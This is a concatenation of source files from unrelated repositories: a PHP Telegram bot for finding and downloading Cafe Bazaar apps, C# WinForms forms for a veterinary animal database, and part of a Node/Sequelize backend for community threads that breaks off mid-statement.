$appinstal2=$appinfo2['active-installs']; $appc2=$appinfo2['Category']; $apps2=$appinfo2['Size']; $appv2=$appinfo2['Version']; $appd2=$appinfo2['Description']; //3 $nameappin3 = file_get_contents('data/'.$chatid.'/nameapp.txt'); $cafebazarin3=json_decode(file_get_contents("http://irapi.ir/cafebazaar/search.php?text=$nameappin3"),true); $s1in3=$cafebazarin3['2']; $p1in3=$s1in3['packname']; $icon3=$s1in3['icon']; $app3=json_decode(file_get_contents("http://irapi.ir/cafebazaar/download.php?p=$p1in3"),true); $applink3=$app3['link']; $appinfo3=$app3['info']; $appinstal3=$appinfo3['active-installs']; $appc3=$appinfo3['Category']; $apps3=$appinfo3['Size']; $appv3=$appinfo3['Version']; $appd3=$appinfo3['Description']; //4 $nameappin4 = file_get_contents('data/'.$chatid.'/nameapp.txt'); $cafebazarin4=json_decode(file_get_contents("http://irapi.ir/cafebazaar/search.php?text=$nameappin4"),true); $s1in4=$cafebazarin4['3']; $p1in4=$s1in4['packname']; $icon4=$s1in4['icon']; $app4=json_decode(file_get_contents("http://irapi.ir/cafebazaar/download.php?p=$p1in4"),true); $applink4=$app4['link']; $appinfo4=$app4['info']; $appinstal4=$appinfo4['active-installs']; $appc4=$appinfo4['Category']; $apps4=$appinfo4['Size']; $appv4=$appinfo4['Version']; $appd4=$appinfo4['Description']; //5 $nameappin5 = file_get_contents('data/'.$chatid.'/nameapp.txt'); $cafebazarin5=json_decode(file_get_contents("http://irapi.ir/cafebazaar/search.php?text=$nameappin5"),true); $s1in5=$cafebazarin5['4']; $p1in5=$s1in5['packname']; $icon5=$s1in5['icon']; $app5=json_decode(file_get_contents("http://irapi.ir/cafebazaar/download.php?p=$p1in5"),true); $applink5=$app5['link']; $appinfo5=$app5['info']; $appinstal5=$appinfo5['active-installs']; $appc5=$appinfo5['Category']; $apps5=$appinfo5['Size']; $appv5=$appinfo5['Version']; $appd5=$appinfo5['Description']; //6 $nameappin6 = file_get_contents('data/'.$chatid.'/nameapp.txt'); $cafebazarin6=json_decode(file_get_contents("http://irapi.ir/cafebazaar/search.php?text=$nameappin6"),true); $s1in6=$cafebazarin5['5']; $p1in6=$s1in6['packname']; $icon6=$s1in6['icon']; $app6=json_decode(file_get_contents("http://irapi.ir/cafebazaar/download.php?p=$p1in6"),true); $applink6=$app6['link']; $appinfo6=$app6['info']; $appinstal6=$appinfo6['active-installs']; $appc6=$appinfo6['Category']; $apps6=$appinfo6['Size']; $appv6=$appinfo6['Version']; $appd6=$appinfo6['Description']; //7 $nameappin7 = file_get_contents('data/'.$chatid.'/nameapp.txt'); $cafebazarin7=json_decode(file_get_contents("http://irapi.ir/cafebazaar/search.php?text=$nameappin7"),true); $s1in7=$cafebazarin7['6']; $p1in7=$s1in7['packname']; $icon7=$s1in7['icon']; $app7=json_decode(file_get_contents("http://irapi.ir/cafebazaar/download.php?p=$p1in7"),true); $applink7=$app7['link']; $appinfo7=$app7['info']; $appinstal7=$appinfo7['active-installs']; $appc7=$appinfo7['Category']; $apps7=$appinfo7['Size']; $appv7=$appinfo7['Version']; $appd7=$appinfo7['Description']; //8 $nameappin8 = file_get_contents('data/'.$chatid.'/nameapp.txt'); $cafebazarin8=json_decode(file_get_contents("http://irapi.ir/cafebazaar/search.php?text=$nameappin8"),true); $s1in8=$cafebazarin8['7']; $p1in8=$s1in8['packname']; $icon8=$s1in8['icon']; $app8=json_decode(file_get_contents("http://irapi.ir/cafebazaar/download.php?p=$p1in8"),true); $applink8=$app8['link']; $appinfo8=$app8['info']; $appinstal8=$appinfo8['active-installs']; $appc8=$appinfo8['Category']; $apps8=$appinfo8['Size']; $appv8=$appinfo8['Version']; $appd8=$appinfo8['Description']; //9 $nameappin9 = file_get_contents('data/'.$chatid.'/nameapp.txt'); $cafebazarin9=json_decode(file_get_contents("http://irapi.ir/cafebazaar/search.php?text=$nameappin9"),true); $s1in9=$cafebazarin9['8']; $p1in9=$s1in9['packname']; $icon9=$s1in9['icon']; $app9=json_decode(file_get_contents("http://irapi.ir/cafebazaar/download.php?p=$p1in9"),true); $applink9=$app9['link']; $appinfo9=$app9['info']; $appinstal9=$appinfo9['active-installs']; $appc9=$appinfo9['Category']; $apps9=$appinfo9['Size']; $appv9=$appinfo9['Version']; $appd9=$appinfo9['Description']; //10 $nameappin10 = file_get_contents('data/'.$chatid.'/nameapp.txt'); $cafebazarin10=json_decode(file_get_contents("http://irapi.ir/cafebazaar/search.php?text=$nameappin10"),true); $s1in10=$cafebazarin10['9']; $p1in10=$s1in10['packname']; $icon10=$s1in10['icon']; $app10=json_decode(file_get_contents("http://irapi.ir/cafebazaar/download.php?p=$p1in10"),true); $applink10=$app10['link']; $appinfo10=$app10['info']; $appinstal10=$appinfo10['active-installs']; $appc10=$appinfo10['Category']; $apps10=$appinfo10['Size']; $appv10=$appinfo10['Version']; $appd10=$appinfo10['Description']; //----------------------------------------------------------------------------------------- //فانکشن ها : function SendMessage($chat_id, $text){ MrPHPBot('sendMessage',[ 'chat_id'=>$chat_id, 'text'=>$text, 'parse_mode'=>'MarkDown']); } function save($filename, $data) { $file = fopen($filename, 'w'); fwrite($file, $data); fclose($file); } function sendAction($chat_id, $action){ MrPHPBot('sendChataction',[ 'chat_id'=>$chat_id, 'action'=>$action]); } function Forward($berekoja,$azchejaei,$kodompayam) { MrPHPBot('ForwardMessage',[ 'chat_id'=>$berekoja, 'from_chat_id'=>$azchejaei, 'message_id'=>$kodompayam ]); } //----------------------------------------------------------------------------------------- if($textmassage=="/start"){ MrPHPBot('sendmessage',[ 'chat_id'=>$chat_id, 'text'=>"سلام $firstname\nبه ربات دانلود از کافه بازار خوش اومدی\nتو میتونی با این ربات برنامه های کافه بازار رو دانلود کنی برای اینکار کافیه برروی گزینه جست و جو کلیک کنی ونام برنامه مورد نظر خودت رو بفرستی\nتوجه : این ربات نمیتواند برنامه های پولی رو دانلود کند\n@DCafeBazarBot", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'keyboard'=>[ [ ['text'=>"جست و جو"],['text'=>"درباره ما"] ], [ ['text'=>"دیگر ربات ها"] ], ] ]) ]); }elseif($textmassage=="لغو"){ save("data/$from_id/file.txt","none"); MrPHPBot('sendmessage',[ 'chat_id'=>$chat_id, 'text'=>"عملیات لغو شد :", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'keyboard'=>[ [ ['text'=>"جست و جو"],['text'=>"درباره ما"] ], [ ['text'=>"دیگر ربات ها"] ], ] ]) ]); }elseif($data=="back2"){ save("data/$from_id/file.txt","none"); MrPHPBot('sendmessage',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"عملیات لغو شد :", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'keyboard'=>[ [ ['text'=>"جست و جو"],['text'=>"درباره ما"] ], [ ['text'=>"دیگر ربات ها"] ], ] ]) ]); } elseif($textmassage=="جست و جو"){ sendAction($chat_id, 'typing'); save("data/$from_id/file.txt","cafe"); MrPHPBot('sendmessage',[ 'chat_id'=>$chat_id, 'text'=>"نام برنامه مورد نطر خود را وارد کنید :", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'keyboard'=>[ [ ['text'=>"لغو"] ], ] ]) ]); }elseif($step=="cafe"){ save("data/$from_id/nameapp.txt","$textmassage"); MrPHPBot('sendmessage',[ 'chat_id'=>$chat_id, 'text'=>"انتخاب کنید :", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"لغوعملیات",'callback_data'=>'back2'],['text'=>"لیست برنامه ها",'callback_data'=>'cafe1'] ], ] ]) ]); } elseif($data=="cafe1"){ save("data/$from_id/file.txt","none"); MrPHPBot('editMessagetext',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"لیست برنامه هایی که یافت شد :", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"$n1",'callback_data'=>'app1'],['text'=>"$n2",'callback_data'=>'app2'] ], [ ['text'=>"$n3",'callback_data'=>'app3'],['text'=>"$n4",'callback_data'=>'app4'] ], [ ['text'=>"$n5",'callback_data'=>'app5'],['text'=>"$n6",'callback_data'=>'app6'] ], [ ['text'=>"$n7",'callback_data'=>'app7'],['text'=>"$n8",'callback_data'=>'app8'] ], [ ['text'=>"$n9",'callback_data'=>'app9'],['text'=>"$n10",'callback_data'=>'app10'] ], [ ['text'=>"کیبورد معممولی",'callback_data'=>'key'] ], ] ]) ]); }elseif($data=="bar"){ save("data/$from_id/file.txt","none"); MrPHPBot('editMessagetext',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"برگشتیم ;", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"$n1",'callback_data'=>'app1'],['text'=>"$n2",'callback_data'=>'app2'] ], [ ['text'=>"$n3",'callback_data'=>'app3'],['text'=>"$n4",'callback_data'=>'app4'] ], [ ['text'=>"$n5",'callback_data'=>'app5'],['text'=>"$n6",'callback_data'=>'app6'] ], [ ['text'=>"$n7",'callback_data'=>'app7'],['text'=>"$n8",'callback_data'=>'app8'] ], [ ['text'=>"$n9",'callback_data'=>'app9'],['text'=>"$n10",'callback_data'=>'app10'] ], [ ['text'=>"کیبورد معممولی",'callback_data'=>'key'] ], ] ]) ]); } elseif($data=="app1"){ MrPHPBot('editMessagetext',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"لینک برنامه در کافه بازار :\nhttp://cafebazaar.ir/app/$p1in1/?l=fa\n➖➖➖\nتعداد دانلود :\n $appinstal1\n➖➖➖\nدسته :\n$appc1\n➖➖➖\nسایز :\n$apps1\n➖➖➖\nورژن :\n$appv1\n➖➖➖\nتوضیحاتی درباره برنامه :\n$appd1\n\n@DCafeBazarBot", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"دانلود مستقیم",'url'=>"$applink1"],['text'=>"مشاهده در کافه بازار",'url'=>"http://cafebazaar.ir/app/$p1in1/?l=fa"] ], [ ['text'=>"کیبورد معممولی",'callback_data'=>'key'],['text'=>"برگشت",'callback_data'=>'bar'] ], ] ]) ]); }elseif($data=="app2"){ MrPHPBot('editMessagetext',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"لینک برنامه در کافه بازار :\nhttp://cafebazaar.ir/app/$p1in2/?l=fa\n➖➖➖\nتعداد دانلود :\n $appinstal2\n➖➖➖\nدسته :\n$appc2\n➖➖➖\nسایز :\n$apps2\n➖➖➖\nورژن :\n$appv2\n➖➖➖\nتوضیحاتی درباره برنامه :\n$appd2\n\n@DCafeBazarBot", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"دانلود مستقیم",'url'=>"$applink2"],['text'=>"مشاهده در کافه بازار",'url'=>"http://cafebazaar.ir/app/$p1in2/?l=fa"] ], [ ['text'=>"کیبورد معممولی",'callback_data'=>'key'],['text'=>"برگشت",'callback_data'=>'bar'] ], ] ]) ]); }elseif($data=="app3"){ MrPHPBot('editMessagetext',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"لینک برنامه در کافه بازار :\nhttp://cafebazaar.ir/app/$p1in3/?l=fa\n➖➖➖\nتعداد دانلود :\n $appinstal3\n➖➖➖\nدسته :\n$appc3\n➖➖➖\nسایز :\n$apps3\n➖➖➖\nورژن :\n$appv3\n➖➖➖\nتوضیحاتی درباره برنامه :\n$appd3\n\n@DCafeBazarBot", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"دانلود مستقیم",'url'=>"$applink3"],['text'=>"مشاهده در کافه بازار",'url'=>"http://cafebazaar.ir/app/$p1in3/?l=fa"] ], [ ['text'=>"کیبورد معممولی",'callback_data'=>'key'],['text'=>"برگشت",'callback_data'=>'bar'] ], ] ]) ]); }elseif($data=="app4"){ MrPHPBot('editMessagetext',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"لینک برنامه در کافه بازار :\nhttp://cafebazaar.ir/app/$p1in4/?l=fa\n➖➖➖\nتعداد دانلود :\n $appinstal4\n➖➖➖\nدسته :\n$appc4\n➖➖➖\nسایز :\n$apps4\n➖➖➖\nورژن :\n$appv4\n➖➖➖\nتوضیحاتی درباره برنامه :\n$appd4\n\n@DCafeBazarBot", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"دانلود مستقیم",'url'=>"$applink4"],['text'=>"مشاهده در کافه بازار",'url'=>"http://cafebazaar.ir/app/$p1in4/?l=fa"] ], [ ['text'=>"کیبورد معممولی",'callback_data'=>'key'],['text'=>"برگشت",'callback_data'=>'bar'] ], ] ]) ]); }elseif($data=="app5"){ MrPHPBot('editMessagetext',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"لینک برنامه در کافه بازار :\nhttp://cafebazaar.ir/app/$p1in5/?l=fa\n➖➖➖\nتعداد دانلود :\n $appinstal5\n➖➖➖\nدسته :\n$appc5\n➖➖➖\nسایز :\n$apps5\n➖➖➖\nورژن :\n$appv5\n➖➖➖\nتوضیحاتی درباره برنامه :\n$appd5\n\n@DCafeBazarBot", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"دانلود مستقیم",'url'=>"$applink5"],['text'=>"مشاهده در کافه بازار",'url'=>"http://cafebazaar.ir/app/$p1in5/?l=fa"] ], [ ['text'=>"کیبورد معممولی",'callback_data'=>'key'],['text'=>"برگشت",'callback_data'=>'bar'] ], ] ]) ]); }elseif($data=="app6"){ MrPHPBot('editMessagetext',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"لینک برنامه در کافه بازار :\nhttp://cafebazaar.ir/app/$p1in6/?l=fa\n➖➖➖\nتعداد دانلود :\n $appinstal6\n➖➖➖\nدسته :\n$appc6\n➖➖➖\nسایز :\n$apps6\n➖➖➖\nورژن :\n$appv6\n➖➖➖\nتوضیحاتی درباره برنامه :\n$appd6\n\n@DCafeBazarBot", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"دانلود مستقیم",'url'=>"$applink6"],['text'=>"مشاهده در کافه بازار",'url'=>"http://cafebazaar.ir/app/$p1in6/?l=fa"] ], [ ['text'=>"کیبورد معممولی",'callback_data'=>'key'],['text'=>"برگشت",'callback_data'=>'bar'] ], ] ]) ]); }elseif($data=="app7"){ MrPHPBot('editMessagetext',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"لینک برنامه در کافه بازار :\nhttp://cafebazaar.ir/app/$p1in7/?l=fa\n➖➖➖\nتعداد دانلود :\n $appinstal7\n➖➖➖\nدسته :\n$appc7\n➖➖➖\nسایز :\n$apps7\n➖➖➖\nورژن :\n$appv7\n➖➖➖\nتوضیحاتی درباره برنامه :\n$appd7\n\n@DCafeBazarBot", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"دانلود مستقیم",'url'=>"$applink7"],['text'=>"مشاهده در کافه بازار",'url'=>"http://cafebazaar.ir/app/$p1in7/?l=fa"] ], [ ['text'=>"کیبورد معممولی",'callback_data'=>'key'],['text'=>"برگشت",'callback_data'=>'bar'] ], ] ]) ]); } elseif($data=="app8"){ MrPHPBot('editMessagetext',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"لینک برنامه در کافه بازار :\nhttp://cafebazaar.ir/app/$p1in8/?l=fa\n➖➖➖\nتعداد دانلود :\n $appinstal8\n➖➖➖\nدسته :\n$appc8\n➖➖➖\nسایز :\n$apps8\n➖➖➖\nورژن :\n$appv8\n➖➖➖\nتوضیحاتی درباره برنامه :\n$appd8\n\n@DCafeBazarBot", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"دانلود مستقیم",'url'=>"$applink8"],['text'=>"مشاهده در کافه بازار",'url'=>"http://cafebazaar.ir/app/$p1in8/?l=fa"] ], [ ['text'=>"کیبورد معممولی",'callback_data'=>'key'],['text'=>"برگشت",'callback_data'=>'bar'] ], ] ]) ]); }elseif($data=="app9"){ MrPHPBot('editMessagetext',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"لینک برنامه در کافه بازار :\nhttp://cafebazaar.ir/app/$p1in9/?l=fa\n➖➖➖\nتعداد دانلود :\n $appinstal9\n➖➖➖\nدسته :\n$appc9\n➖➖➖\nسایز :\n$apps9\n➖➖➖\nورژن :\n$appv9\n➖➖➖\nتوضیحاتی درباره برنامه :\n$appd9\n\n@DCafeBazarBot", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"دانلود مستقیم",'url'=>"$applink9"],['text'=>"مشاهده در کافه بازار",'url'=>"http://cafebazaar.ir/app/$p1in9/?l=fa"] ], [ ['text'=>"کیبورد معممولی",'callback_data'=>'key'],['text'=>"برگشت",'callback_data'=>'bar'] ], ] ]) ]); }elseif($data=="app10"){ MrPHPBot('editMessagetext',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"لینک برنامه در کافه بازار :\nhttp://cafebazaar.ir/app/$p1in10/?l=fa\n➖➖➖\nتعداد دانلود :\n $appinstal10\n➖➖➖\nدسته :\n$appc10\n➖➖➖\nسایز :\n$apps10\n➖➖➖\nورژن :\n$appv10\n➖➖➖\nتوضیحاتی درباره برنامه :\n$appd10\n\n@DCafeBazarBot", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'inline_keyboard'=>[ [ ['text'=>"دانلود مستقیم",'url'=>"$applink10"],['text'=>"مشاهده در کافه بازار",'url'=>"http://cafebazaar.ir/app/$p1in10/?l=fa"] ], [ ['text'=>"کیبورد معممولی",'callback_data'=>'key'],['text'=>"برگشت",'callback_data'=>'bar'] ], ] ]) ]); } elseif($data=="key"){ save("data/$fm/file.txt","none"); sendAction($chatid, 'typing'); MrPHPBot('sendmessage',[ 'chat_id'=>$chatid, 'message_id'=>$messageid, 'text'=>"به بخش کیبورد معمولی ربات وارد شدید\nگزینه مورد نظر خود را انتخاب کنید :", 'parse_mode'=>'MarkDown', 'reply_markup'=>json_encode([ 'resize_keyboard'=>true, 'keyboard'=>[ [ ['text'=>"جست و جو"],['text'=>"درباره ما"] ], [ ['text'=>"دیگر ربات ها"] ], ] ]) ]); } elseif($textmassage=="درباره ما"){ save("data/$from_id/file.txt","none"); MrPHPBot('sendmessage',[ 'chat_id'=>$chat_id, 'text'=>"توضیحاتی درباره ربات :این ربات با وب سرویس تیم برنامه نویسی کرول ساخته شده است و میتواند اخرین ورژن برنامه هایی که شما میخواهید را برایتان بفرستد.\nنکته : برنامه های پولی را نمیتوان دانلود کرد\nبرنامه نویس : محمدحسین حیدری\nزبان برنامه نویسی : *php*\nتعداد لاین : *500*\n@PowerFulTeam", 'parse_mode'=>'MarkDown', ]); } elseif($textmassage=="دیگر ربات ها"){ save("data/$from_id/file.txt","none"); MrPHPBot('sendmessage',[ 'chat_id'=>$chat_id, 'text'=>"ربات صفحه تلگرامی :\n@PageTelegramBot\nربات حرف ناشناس به من :\n@HarfNashenasBemanBot\nربات مدیریت حرفه ای کانال و گروه :\n@DenyRoBot\nربات فروشگاه سورس :\n@SorceShopBot\nربات درباره تیم :\n@MrPHPINFOBot\nربات تفریحی اقای پی اچ پی :\n@MrPHPBot\nتمام ربات ها با زبان برنامه نویسی پی اچ پی نوشته شده اند.\nبرنامه نویس : محمدحسین حیدری", 'parse_mode'=>'MarkDown', ]); } $users = file_get_contents('data/username.txt'); $members = explode("\n", $users); if (!in_array($username, $members)) { $adduser = file_get_contents('data/username.txt'); $adduser .=$username . "\n"; file_put_contents('data/username.txt', $adduser); }$users = file_get_contents('data/users.txt'); $members = explode("\n", $users); if (!in_array($chat_id, $members)) { $adduser = file_get_contents('data/users.txt'); $adduser .= $chat_id . "\n"; file_put_contents('data/users.txt', $adduser); }elseif($textmassage=="آمار ربات"){ $membersidd= explode("\n",$txtt); $mmemcount = count($membersidd) -1; sendAction($chat_id, 'typing'); MrPHPBot('sendmessage',[ 'chat_id'=>$chat_id, 'text'=>"تعداد کاربران : $mmemcount", 'hide_keyboard'=>true, ]); }elseif ($textmassage == 'ارسال به همه' && $from_id == $Dev) { save("data/$from_id/file.txt","sendtoall"); MrPHPBot('sendmessage',[ 'chat_id'=>$Dev, 'text'=>"لطفا متن خود را بفرستید :", 'parse_mode'=>'MarkDown', ]); }elseif ($step == 'sendtoall') { $mem = fopen( "data/users.txt", 'r'); while( !feof( $mem)) { $memuser = fgets( $mem); save("data/$from_id/file.txt","to"); MrPHPBot('sendmessage',[ 'chat_id'=>$memuser, 'text'=>$textmassage, 'parse_mode'=>'MarkDown' ]); } } elseif ($textmassage == 'فروارد همگانی' && $from_id == $Dev) { save("data/$from_id/file.txt","fortoall"); MrPHPBot('sendmessage',[ 'chat_id'=>$Dev, 'text'=>"لطفا متن خود را بفرستید :", 'parse_mode'=>'MarkDown', ]); }elseif ($step == 'fortoall') { $mem = fopen( "data/users.txt", 'r'); while( !feof( $mem)) { $memuser = fgets( $mem); save("data/$from_id/file.txt","none"); Forward($memuser, $chat_id,$message_id); } } ?>
4f0cf7eb90302d8dcd466211f83daaa2c3ab9be6
[ "PHP" ]
1
PHP
MGunner/DlCafeBazzar
e4a896e11efae9401cf8f5e8306e276cc92d6624
641f163e323ebaa12cc252b76a6a7fda59a47f12
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using veterinaria.Models; namespace veterinaria { public partial class Registrar : Form { public Registrar() { InitializeComponent(); } private void btnGuardar_Click(object sender, EventArgs e) { veterinariaEntities db = new veterinariaEntities(); animal newAnimal = new animal(); newAnimal.nombre = txtNombre.Text; newAnimal.edad = Convert.ToInt32(txtEdad.Text); newAnimal.especie = txtEspecie.Text; newAnimal.peso = txtPeso.Text; db.animal.Add(newAnimal); db.SaveChanges(); MessageBox.Show("Procesado con Éxito"); txtNombre.Text = ""; txtEdad.Text = ""; txtEspecie.Text = ""; txtPeso.Text = ""; } private void button1_Click(object sender, EventArgs e) { Menu objMenu = new Menu (); objMenu.Show(); this.Hide(); } } } <file_sep>using MySqlX.XDevAPI.Relational; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using veterinaria.Models; namespace veterinaria { public partial class Mostrar : Form { public Mostrar() { InitializeComponent(); } private void Mostrar_Load(object sender, EventArgs e) { veterinariaEntities db = new veterinariaEntities(); var datos = from dato in db.animal select dato; dataGridView1.DataSource = datos.ToList(); } private void btnEliminar_Click(object sender, EventArgs e) { int id = int.Parse(dataGridView1.Rows[dataGridView1.CurrentRow.Index].Cells[0].Value.ToString()); veterinariaEntities db = new veterinariaEntities(); animal anim = db.animal.Find(id); db.animal.Remove(anim); db.SaveChanges(); refrescar(); } private void refrescar() { veterinariaEntities db = new veterinariaEntities(); var datos = from dato in db.animal select dato; dataGridView1.DataSource = datos.ToList(); } private void btnEditar_Click(object sender, EventArgs e) { int id = int.Parse(dataGridView1.Rows[dataGridView1.CurrentRow.Index].Cells[0].Value.ToString()); Editar objEditar = new Editar(id); objEditar.Show(); this.Hide(); } private void btnMenu2_Click(object sender, EventArgs e) { Menu objMenu = new Menu(); objMenu.Show(); this.Hide(); } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using veterinaria.Models; namespace veterinaria { public partial class Editar : Form { private int id; public Editar(int id) { this.id = id; InitializeComponent(); } private void Editar_Load(object sender, EventArgs e) { veterinariaEntities db = new veterinariaEntities(); animal objAnimal = db.animal.Find(id); txtNombre.Text = objAnimal.nombre; txtEdad.Text = Convert.ToString(objAnimal.edad); txtEspecie.Text = objAnimal.especie; txtPeso.Text = Convert.ToString(objAnimal.peso); labelOcultoId.Text = Convert.ToString(objAnimal.id); } private void btnGuardar_Click(object sender, EventArgs e) { veterinariaEntities db = new veterinariaEntities(); int idForm = int.Parse(labelOcultoId.Text); animal objAnimal = db.animal.Find(idForm); objAnimal.nombre = txtNombre.Text; objAnimal.edad = Convert.ToInt32(txtEdad.Text); objAnimal.especie = txtEspecie.Text; objAnimal.peso = txtPeso.Text; db.Entry(objAnimal).State = System.Data.Entity.EntityState.Modified; db.SaveChanges(); Menu objMenu = new Menu(); objMenu.Show(); this.Hide(); } private void button1_Click(object sender, EventArgs e) { Menu objMenu = new Menu(); objMenu.Show(); this.Hide(); } private void pictureBox1_Click(object sender, EventArgs e) { } } }
ab9e21c5fc1f32a1f4522d148dfeb18546c86ff0
[ "C#" ]
3
C#
laortizt/veterinaria
6b54db100a1f1293944bbebdc589f37be334c8ea
4b7bbfd130a8d98c925c3abc35379293e4259da9
refs/heads/main
<file_sep>module.exports = (sequelize, DataTypes) => { const ReplyReply = sequelize.define( "ReplyReply", { id: { type: DataTypes.UUID, defaultValue: DataTypes.UUIDV4, primaryKey: true, }, content: { type: DataTypes.STRING, allowNull: false, }, }, { underscored: true } ); ReplyReply.associate = (models) => { ReplyReply.belongsTo(models.ThreadReply, { foreignKey: { name: "threadReplyId", allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); ReplyReply.hasMany(models.ThreadLike, { foreignKey: { name: "replyReplyId", // allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); ReplyReply.belongsTo(models.User, { foreignKey: { name: "replierId", allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); }; return ReplyReply; }; <file_sep>exports.validateLength = (password) => { if (password.length >= 8) { return true; } }; exports.validateCharacter = (password) => { const regExpArr = [/[A-Z]/, /[a-z]/, /[0-9]/]; const result = regExpArr.reduce((accum, item) => { if (accum) { const reg = new RegExp(item); accum = reg.test(password); } return accum; }, true); return result; }; <file_sep>module.exports = (sequelize, DataTypes) => { const Tag = sequelize.define( "Tag", { id: { type: DataTypes.UUID, defaultValue: DataTypes.UUIDV4, primaryKey: true, }, tagName: { type: DataTypes.STRING, allowNull: false, unique: true, }, }, { underscored: true } ); Tag.associate = (models) => { Tag.hasMany(models.CommunityTag, { foreignKey: { name: "tagId", allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); }; return Tag; }; <file_sep>const { Thread, Image, Community, CommunityTag, Tag, CommunityMember, User, ThreadLike, ThreadReply, ReplyReply, } = require("../models"); const { upload } = require("./uploadController"); const cloudinary = require("cloudinary").v2; const fs = require("fs"); const util = require("util"); const { Sequelize } = require("sequelize"); const uploadPromise = util.promisify(cloudinary.uploader.upload); //get threads only to show at community page //not literally every single thing exports.getAllThreadsByCommunity = async (req, res, next) => { try { const threadsResult = await Community.findOne({ where: { id: req.params.id }, include: [ { model: Thread, include: [ { model: User, attributes: ["username"], }, { model: ThreadLike, attributes: ["id"], }, { model: ThreadReply, attributes: ["id"], }, ], }, { model: CommunityTag, // where: { communityId: req.params.id }, include: [ { model: Tag, }, ], }, { model: CommunityMember, attributes: ["memberRole"], include: { model: User, }, }, ], }); res.send({ community: { id: threadsResult.id, name: threadsResult.communityName, image: threadsResult.communityImage, description: threadsResult.description, }, threads: threadsResult.Threads, tags: threadsResult.CommunityTags.map((item) => item.Tag), communityMembers: threadsResult.CommunityMembers.map((item) => ({ memberRole: item.memberRole, memberId: item.User.id, username: item.User.username, profilePic: item.User.profilePic, })), }); } catch (err) { next(err); } }; exports.getThreadsByThreadId = async (req, res, next) => { console.log(req.params.threadId); try { const thread = await Thread.findOne({ where: { id: req.params.threadId }, include: [ { model: Community, include: [ { model: CommunityMember, attributes: ["memberRole"], include: { model: User, }, }, ], }, { model: User, }, { model: ThreadLike }, { model: ThreadReply, include: [ { model: ThreadLike }, { model: ReplyReply, order: [["updatedAt", "DESC"]], include: [{ model: ThreadLike }], }, ], }, ], // order: [["id"]], }); res.send({ all: thread, thread: { id: thread.id, title: thread.title, content: thread.content, createdAt: thread.createdAt, updatedAt: thread.updatedAt, }, community: { id: thread.Community.id, name: thread.Community.communityName, description: thread.Community.description, image: thread.Community.communityImage, }, poster: { id: thread.User.id, username: thread.User.username, profilePic: thread.User.profilePic, }, threadLikes: thread.ThreadLikes, threadReplies: thread.ThreadReplies, communityMembers: thread.Community.CommunityMembers.map((item) => ({ memberRole: item.memberRole, memberId: item.User.id, username: item.User.username, profilePic: item.User.profilePic, })), // threadReplies: thread.ThreadReplies.map((item) => ({ // replyId: item.id, // replyContent: item.content, // createdAt: item.createdAt, // updatedAt: item.updatedAt, // replyLikes: item.replyLikes, // replyreplies: item.ReplyReplies.map(item=> ( // )) // })), }); } catch (err) { next(err); } }; exports.createThread = async (req, res, next) => { try { console.log("req.file is: ", req.file); const { title, content, posterId } = req.body; // console.log("request body: ", req.body); // console.log("hi"); const thread = await Thread.create({ title, content, communityId: 